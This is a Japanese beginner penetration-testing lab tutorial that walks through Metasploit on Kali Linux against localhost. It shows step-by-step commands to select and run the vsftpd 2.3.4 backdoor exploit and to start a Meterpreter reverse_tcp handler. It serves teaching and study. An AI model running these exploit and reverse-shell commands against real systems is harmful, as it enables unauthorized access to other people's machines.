Kali Linux を使用した Metasploit によるエクスプロイト

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、LabEx VM 上の制御された環境において、Kali Linux を使用したペネトレーションテストの基礎を学びます。強力な Metasploit Framework を活用して、脆弱性の特定、ペイロードの設定、エクスプロイトの実行、そして Meterpreter セッションを通じた侵害システムへのアクセス方法に焦点を当てます。初心者向けに設計されたこの実験では、安全かつ構造化された方法で、サイバーセキュリティの重要な技術をステップバイステップでガイドします。ターミナルを開くと、自動的に Kali Linux コンテナのシェルに接続されるため、手動でコンテナを起動したりログインしたりする必要はありません。

Metasploit Framework の起動

最初のステップでは、Kali Linux におけるペネトレーションテストの主要ツールである Metasploit Framework を起動します。このステップは、後の手順で脆弱性を特定し、エクスプロイトを実行するための環境を整えるために不可欠です。

LabEx VM でターミナルを開くと、自動的に Kali Linux コンテナのシェルに接続されます。コンテナを手動で起動したり、シェルにログインしたりする必要はありません。環境はすでに設定済みです。

Metasploit を使用する前に、Kali Linux コンテナにインストールされていることを確認する必要があります。まず、ターミナルで以下のコマンドを入力し、Enter キーを押してパッケージリストを更新します。

apt update

次に、Metasploit Framework をインストールします。インストールには数分かかる場合がありますので、完了するまでお待ちください。

apt install -y metasploit-framework

インストールが完了したら、以下のコマンドを入力し、Enter キーを押して Metasploit コンソールを起動します。

msfconsole

このコマンドを初めて実行する場合、データベースのセットアップやモジュールの読み込みが行われるため、初期化に少し時間がかかることがあります。Metasploit が起動すると、ASCII アートのバナーと以下のようなプロンプトが表示されます。

Metasploit Framework
...
msf6 >

msf6 > プロンプトは、Metasploit コンソール内に入り、フレームワークを操作できる状態であることを示しています。次のステップでエクスプロイトの検索と選択を行うため、コンソールは閉じないでください。

エクスプロイトの検索と選択

Metasploit Framework を起動したら、次はエクスプロイトを検索して選択します。エクスプロイトとは、ソフトウェアの脆弱性を利用して、不正アクセスなどの意図しない動作を引き起こすコードのことです。

すでに Metasploit コンソール(msf6 > プロンプト)にいる状態ですので、脆弱性が存在しやすい一般的なサービスである FTP (File Transfer Protocol) に関連するエクスプロイトを検索してみましょう。以下のコマンドを入力し、Enter キーを押します。

search ftp

このコマンドは、FTP に関連するエクスプロイトや補助モジュールを一覧表示します。出力には、一致するモジュールのテーブルが表示されます。

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

この実験では、vsftpd_234_backdoor エクスプロイトを使用します。これを選択するには、use コマンドの後にエクスプロイト名を入力します。

use exploit/unix/ftp/vsftpd_234_backdoor

エクスプロイトを選択すると、プロンプトがエクスプロイト名を含むように変化し、現在アクティブなモジュールであることを示します。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

選択したエクスプロイトの詳細情報(オプションや要件など)を確認するには、info コマンドを入力します。

info

出力には、プラットフォーム、アーキテクチャ、利用可能なターゲットなどの詳細が表示されます。

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

これでエクスプロイトの選択が完了しました。次のステップでは、このエクスプロイト用のペイロードを設定します。

注意: Labby は msf シェル内の操作記録を取得できないため、以下のステップは検証されません。

エクスプロイトとペイロードの設定

エクスプロイトを選択したら、次にオプションを設定し、ペイロードを指定する必要があります。ペイロードとは、エクスプロイトが成功した後にターゲットシステム上で実行されるコードのことです。この実験では、ターゲットシステム上でコマンドを実行できる対話型コマンドシェルペイロードを設定します。

重要: ペイロードを設定する前に、選択したエクスプロイトと互換性のあるペイロードを確認することが重要です。以下のコマンドを使用して、互換性のあるすべてのペイロードを表示します。

show payloads

これにより、vsftpd_234_backdoor エクスプロイトで動作するペイロードのリストが表示されます。互換性のあるペイロードは cmd/unix/interact のみであるはずです。

まず、ペイロードを設定します。このエクスプロイトと互換性のある対話型コマンドシェルを使用します。ペイロード名 cmd/unix/interact は、<アーキテクチャ>/<プラットフォーム>/<タイプ> という特定の構造に従っています。ここで cmd はコマンドシェルアーキテクチャ、unix はターゲットプラットフォーム、interact は対話型セッションを提供することを意味します。

set payload cmd/unix/interact

確認メッセージが表示されます。

payload => cmd/unix/interact

次に、エクスプロイトのオプションを設定する必要があります。RHOST (Remote Host) オプションは、ターゲットマシンの IP アドレスを指定します。このシミュレーションでは、127.0.0.1 に設定します。

set RHOST 127.0.0.1

重要な注意: リバースシェルペイロードとは異なり、cmd/unix/interact ペイロードは LHOSTLPORT の設定を必要としません。このペイロードは、ターゲットとの直接的な対話型コマンドセッションを確立します。

すべての設定を確認するには、show options コマンドを使用します。

show options

これにより、エクスプロイトのオプションテーブルが表示されます。RHOST が正しく設定されていることを確認してください。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

これでエクスプロイトとペイロードの設定が完了し、次のステップで実行する準備が整いました。

エクスプロイトの実行

エクスプロイトとペイロードの設定が完了したので、いよいよ実行します。exploit コマンドは、指定されたターゲット (RHOST) に対して攻撃を開始するよう Metasploit に指示します。

Metasploit コンソールで、以下のコマンドを入力し、Enter キーを押します。

exploit

Metasploit がエクスプロイトの実行を試みます。この実験環境では 127.0.0.1 上で実際に脆弱な VSFTPD サービスが動作しているわけではないため、エクスプロイトは失敗します。これは想定通りの動作であり、攻撃を開始するプロセスを実演するためのものです。

出力には、Metasploit がターゲットの FTP サービスへの接続を試みたものの、サービスが動作していないために失敗したことが表示されます。

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

注意: cmd/unix/interact ペイロードを使用する場合、リバースシェルリスナーが起動する様子は見られません。代わりに、このペイロードは、ターゲットの FTP サービスが脆弱でアクセス可能であれば、直接的な対話型コマンドセッションの確立を試みます。

Exploit completed, but no session was created というメッセージは、失敗したことを確認するものです。脆弱な VSFTPD サービスが存在する成功シナリオであれば、対話型コマンドシェルセッションが確立され、ターゲットシステム上で直接コマンドを実行できるようになります。このステップでは、ペネトレーションテストのワークフローの中核である、エクスプロイトを開始するための基本的なコマンドを学びました。

Meterpreter リスナーのセットアップ

最後のステップでは、Meterpreter ペイロード用のリスナーをセットアップする方法を学びます。Meterpreter は、ターゲットシステム上で対話型シェルを提供する、高度で機能豊富なペイロードです。エクスプロイトを直接実行する代わりに、exploit/multi/handler モジュールを使用して着信接続を待ち受けます。これは、エクスプロイトが他の手段(悪意のあるファイルなど)を通じて配信され、リバース接続をキャッチする必要がある場合に役立ちます。

まず、multi/handler モジュールに切り替えます。

use exploit/multi/handler

プロンプトが新しいモジュールを反映するように変化します。

msf6 exploit(multi/handler) >

次に、Meterpreter ペイロードを設定します。Linux システム用に設計されたものを使用します。ペイロード名 linux/x86/meterpreter/reverse_tcp は、<プラットフォーム>/<アーキテクチャ>/<タイプ>/<プロトコル> という論理的な構造に従っています。これは、Linux プラットフォーム、x86 アーキテクチャ、Meterpreter ペイロードタイプ、およびリバース TCP 接続プロトコルを指定しています。

set payload linux/x86/meterpreter/reverse_tcp

次に、以前と同様にリスナーオプション LHOSTLPORT を設定します。

set LHOST 127.0.0.1

注意: ループバックアドレスへのバインドに関する警告メッセージが表示される場合があります。これは localhost (127.0.0.1) を使用する場合の通常の動作であり、この実験では無視して問題ありません。

set LPORT 4444

最後に、exploit コマンドを使用してリスナーを開始します。

exploit

Metasploit は指定された IP とポートでリスナーを開始し、Meterpreter セッションが接続してくるのを待ちます。

[*] Started reverse TCP handler on 127.0.0.1:4444

コンソールはアクティブなまま、接続を待ち続けます。実際のシナリオでは、ターゲットマシンが対応する Meterpreter ペイロードを実行すると、ここでセッションが確立されます。この実験ではターゲットが接続してくることはないため、Ctrl + C を押してリスナーを停止できます。

Metasploit コンソールを終了するには、exit と入力し、Enter キーを押します。

まとめ

この実験では、Kali Linux と Metasploit Framework を使用したペネトレーションテストの基本的な手順を学びました。Metasploit の起動から始まり、エクスプロイトの検索と選択、エクスプロイトとリバースシェルペイロードの設定、そしてシミュレーション環境での攻撃実行までを体験しました。また、高度な Meterpreter ペイロードのためにスタンドアロンのリスナーをセットアップする方法も学びました。これらのステップは、脆弱性の特定、ペイロードの準備、エクスプロイトプロセスの理解という、ペネトレーションテストの中核となるワークフローの実践的な入門となります。この構造化されたアプローチに従うことで、重要なサイバーセキュリティツールと技術に関する実践的な経験を積むことができました。